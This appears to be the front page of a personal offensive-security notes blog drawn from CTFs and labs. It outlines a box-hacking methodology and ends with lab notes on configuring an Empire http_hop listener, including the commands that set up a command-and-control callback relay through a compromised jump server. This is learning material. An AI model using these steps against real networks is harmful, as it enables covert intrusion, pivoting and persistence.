I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.
I start each box the same way. Before I touch anything, I scan it and write down every port and service I can find, then go through them one at a time. FTP, SSH, SMB, web, whatever's there. What turns up here decides where I push next.
02phase 02 · foothold
Break the Boxes
Then I pick the weakest thing I found and go after it. Sometimes it's a vulnerable web app, sometimes a weak password, sometimes Metasploit does the heavy lifting. Either way I'm not done until I've got a shell that actually stays up.
03phase 03 · escalation
Climb the Stack
Now I'm in, but usually only as a low-privilege user. So I dig through the machine, Linux or Windows, looking for the one misconfig that gets me to root or SYSTEM. Once I'm there I grab every credential I can find.
04phase 04 · root
The Uplink
One machine is never the whole network. With those creds I go after Active Directory, pivot into networks I couldn't reach before, and set things up so I can get back in later.
05phase 05 · broadcast
Signal Out
After it's all over, I write it up. If the path was worth sharing it turns into a step-by-step walkthrough. A few posts are about tools, persistence and how I got into this field, and my rougher lab notes from TryHackMe and TCM ended up here too.
06query
Search the Signal
That's everything. If you're looking for something specific, search for it here.
00boot767 notes · 24 posts
Every Shell Leaves a Trace
I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.
Hop listeners are for when an agent can't call back under normal circumstances. This type of listener creates files to copy over to a compromised jump server and host from there. They're .php files containing instructions to call back to the HTTP listener, which avoids having to open a port on the compromised machine.
Start the hop listener in Empire:
uselistener http_hop
Set the redirect listener to the one made earlier (CLIHTTP), the host to the git-prod webserver, and the port:
set RedirectListener CLIHTTP
set Host 10.200.105.200
set Port 47000
Confirm it's all set:
Execute it:
execute
This creates the different .php files in the defined http_hop directory in /tmp on the attack box.
This file structure now has to be replicated on the jump server for it to work.